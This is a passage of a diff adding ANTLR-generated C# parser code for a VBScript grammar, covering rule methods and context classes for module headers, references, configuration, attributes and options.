EnterRule(_localctx, 2, RULE_module); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 330; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,0,Context) ) { + case 1: + { + State = 329; + Match(WS); + } + break; + } + State = 335; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,1,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 332; + Match(NEWLINE); + } + } + } + State = 337; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,1,Context); + } + State = 344; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,3,Context) ) { + case 1: + { + State = 338; + moduleHeader(); + State = 340; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 339; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 342; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,2,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + } + State = 347; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,4,Context) ) { + case 1: + { + State = 346; + moduleReferences(); + } + break; + } + State = 352; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,5,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 349; + Match(NEWLINE); + } + } + } + State = 354; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,5,Context); + } + State = 356; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,6,Context) ) { + case 1: + { + State = 355; + controlProperties(); + } + break; + } + State = 361; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,7,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 358; + Match(NEWLINE); + } + } + } + State = 363; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,7,Context); + } + State = 365; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,8,Context) ) { + case 1: + { + State = 364; + moduleConfig(); + } + break; + } + State = 370; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,9,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 367; + Match(NEWLINE); + } + } + } + State = 372; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,9,Context); + } + State = 374; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,10,Context) ) { + case 1: + { + State = 373; + moduleAttributes(); + } + break; + } + State = 379; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,11,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 376; + Match(NEWLINE); + } + } + } + State = 381; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,11,Context); + } + State = 383; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,12,Context) ) { + case 1: + { + State = 382; + moduleOptions(); + } + break; + } + State = 388; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,13,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 385; + Match(NEWLINE); + } + } + } + State = 390; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,13,Context); + } + State = 392; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,14,Context) ) { + case 1: + { + State = 391; + moduleBody(); + } + break; + } + State = 397; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==NEWLINE) { + { + { + State = 394; + Match(NEWLINE); + } + } + State = 399; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 401; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 400; + Match(WS); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferencesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceContext[] moduleReference() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceContext moduleReference(int i) { + return GetRuleContext(i); + } + public ModuleReferencesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferences; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleReferences(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleReferences(this); + } + } + + [RuleVersion(0)] + public ModuleReferencesContext moduleReferences() { + ModuleReferencesContext _localctx = new ModuleReferencesContext(Context, State); + EnterRule(_localctx, 4, RULE_moduleReferences); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 404; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 403; + moduleReference(); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 406; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,17,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBScriptParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceValueContext moduleReferenceValue() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON() { return GetToken(VBScriptParser.SEMICOLON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceComponentContext moduleReferenceComponent() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + public ModuleReferenceContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReference; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleReference(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleReference(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceContext moduleReference() { + ModuleReferenceContext _localctx = new ModuleReferenceContext(Context, State); + EnterRule(_localctx, 6, RULE_moduleReference); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 408; + Match(OBJECT); + State = 410; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 409; + Match(WS); + } + } + + State = 412; + Match(EQ); + State = 414; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 413; + Match(WS); + } + } + + State = 416; + moduleReferenceValue(); + State = 422; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==SEMICOLON) { + { + State = 417; + Match(SEMICOLON); + State = 419; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 418; + Match(WS); + } + } + + State = 421; + moduleReferenceComponent(); + } + } + + State = 427; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,22,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 424; + Match(NEWLINE); + } + } + } + State = 429; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,22,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceValueContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBScriptParser.STRINGLITERAL, 0); } + public ModuleReferenceValueContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferenceValue; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleReferenceValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleReferenceValue(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceValueContext moduleReferenceValue() { + ModuleReferenceValueContext _localctx = new ModuleReferenceValueContext(Context, State); + EnterRule(_localctx, 8, RULE_moduleReferenceValue); + try { + EnterOuterAlt(_localctx, 1); + { + State = 430; + Match(STRINGLITERAL); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceComponentContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBScriptParser.STRINGLITERAL, 0); } + public ModuleReferenceComponentContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferenceComponent; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleReferenceComponent(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleReferenceComponent(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceComponentContext moduleReferenceComponent() { + ModuleReferenceComponentContext _localctx = new ModuleReferenceComponentContext(Context, State); + EnterRule(_localctx, 10, RULE_moduleReferenceComponent); + try { + EnterOuterAlt(_localctx, 1); + { + State = 432; + Match(STRINGLITERAL); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleHeaderContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VERSION() { return GetToken(VBScriptParser.VERSION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLELITERAL() { return GetToken(VBScriptParser.DOUBLELITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLASS() { return GetToken(VBScriptParser.CLASS, 0); } + public ModuleHeaderContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleHeader; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleHeader(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleHeader(this); + } + } + + [RuleVersion(0)] + public ModuleHeaderContext moduleHeader() { + ModuleHeaderContext _localctx = new ModuleHeaderContext(Context, State); + EnterRule(_localctx, 12, RULE_moduleHeader); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 434; + Match(VERSION); + State = 435; + Match(WS); + State = 436; + Match(DOUBLELITERAL); + State = 439; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 437; + Match(WS); + State = 438; + Match(CLASS); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleConfigContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBScriptParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBScriptParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigElementContext[] moduleConfigElement() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigElementContext moduleConfigElement(int i) { + return GetRuleContext(i); + } + public ModuleConfigContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleConfig; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleConfig(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleConfig(this); + } + } + + [RuleVersion(0)] + public ModuleConfigContext moduleConfig() { + ModuleConfigContext _localctx = new ModuleConfigContext(Context, State); + EnterRule(_localctx, 14, RULE_moduleConfig); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 441; + Match(BEGIN); + State = 443; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 442; + Match(NEWLINE); + } + } + State = 445; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 448; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 447; + moduleConfigElement(); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 450; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,25,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 452; + Match(END); + State = 454; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 453; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 456; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,26,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleConfigElementContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE() { return GetToken(VBScriptParser.NEWLINE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public ModuleConfigElementContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleConfigElement; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleConfigElement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleConfigElement(this); + } + } + + [RuleVersion(0)] + public ModuleConfigElementContext moduleConfigElement() { + ModuleConfigElementContext _localctx = new ModuleConfigElementContext(Context, State); + EnterRule(_localctx, 16, RULE_moduleConfigElement); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 458; + ambiguousIdentifier(); + State = 460; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 459; + Match(WS); + } + } + + State = 462; + Match(EQ); + State = 464; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 463; + Match(WS); + } + } + + State = 466; + literal(); + State = 467; + Match(NEWLINE); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleAttributesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext[] attributeStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext attributeStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + public ModuleAttributesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleAttributes; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleAttributes(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleAttributes(this); + } + } + + [RuleVersion(0)] + public ModuleAttributesContext moduleAttributes() { + ModuleAttributesContext _localctx = new ModuleAttributesContext(Context, State); + EnterRule(_localctx, 18, RULE_moduleAttributes); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 475; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 469; + attributeStmt(); + State = 471; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 470; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 473; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,29,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 477; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,30,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleOptionsContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleOptionContext[] moduleOption() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleOptionContext moduleOption(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + public ModuleOptionsContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleOptions; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleOptions(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleOptions(this); + } + } + + [RuleVersion(0)] + public ModuleOptionsContext moduleOptions() { + ModuleOptionsContext _localctx = new ModuleOptionsContext(Context, State); + EnterRule(_localctx, 20, RULE_moduleOptions); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 485; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 479; + moduleOption(); + State = 481; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 480; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 483; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,31,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 487; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,32,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleOptionContext : ParserRuleContext { + public ModuleOptionContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleOption; } } + + public ModuleOptionContext() { } + public virtual void CopyFrom(ModuleOptionContext context) { + base.CopyFrom(context); + } + } + public partial class OptionExplicitStmtContext : ModuleOptionContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTION_EXPLICIT() { return GetToken(VBScriptParser.OPTION_EXPLICIT, 0); } + public OptionExplicitStmtContext(ModuleOptionContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOptionExplicitStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOptionExplicitStmt(this); + } + } + public partial class OptionBaseStmtContext : ModuleOptionContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTION_BASE() { return GetToken(VBScriptParser.OPTION_BASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBScriptParser.INTEGERLITERAL, 0); } + public OptionBaseStmtContext(ModuleOptionContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOptionBaseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOptionBaseStmt(this); + } + } + public partial class OptionPrivateModuleStmtContext : ModuleOptionContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTION_PRIVATE_MODULE() { return GetToken(VBScriptParser.OPTION_PRIVATE_MODULE, 0); } + public OptionPrivateModuleStmtContext(ModuleOptionContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOptionPrivateModuleStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOptionPrivateModuleStmt(this); + } + } + public partial class OptionCompareStmtContext : ModuleOptionContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTION_COMPARE() { return GetToken(VBScriptParser.OPTION_COMPARE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BINARY() { return GetToken(VBScriptParser.BINARY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TEXT() { return GetToken(VBScriptParser.TEXT, 0); } + public OptionCompareStmtContext(ModuleOptionContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOptionCompareStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOptionCompareStmt(this); + } + } + + [RuleVersion(0)] + public ModuleOptionContext moduleOption() { + ModuleOptionContext _localctx = new ModuleOptionContext(Context, State); + EnterRule(_localctx, 22, RULE_moduleOption); + int _la; + try { + State = 497; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case OPTION_BASE: + _localctx = new OptionBaseStmtContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 489; + Match(OPTION_BASE); + State = 490; + Match(WS); + State = 491; + Match(INTEGERLITERAL); + } + break; + case OPTION_COMPARE: + _localctx = new OptionCompareStmtContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 492; + Match(OPTION_COMPARE); + State = 493; + Match(WS); + State = 494; + _la = TokenStream.LA(1); + if ( !(_la==BINARY || _la==TEXT) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + break; + case OPTION_EXPLICIT: + _localctx = new OptionExplicitStmtContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 495; + Match(OPTION_EXPLICIT); + } + break; + case OPTION_PRIVATE_MODULE: + _localctx = new OptionPrivateModuleStmtContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 496; + Match(OPTION_PRIVATE_MODULE); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleBodyContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyElementContext[] moduleBodyElement() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyElementContext moduleBodyElement(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public ModuleBodyContext(ParserRuleContext parent, int invokingState) + : 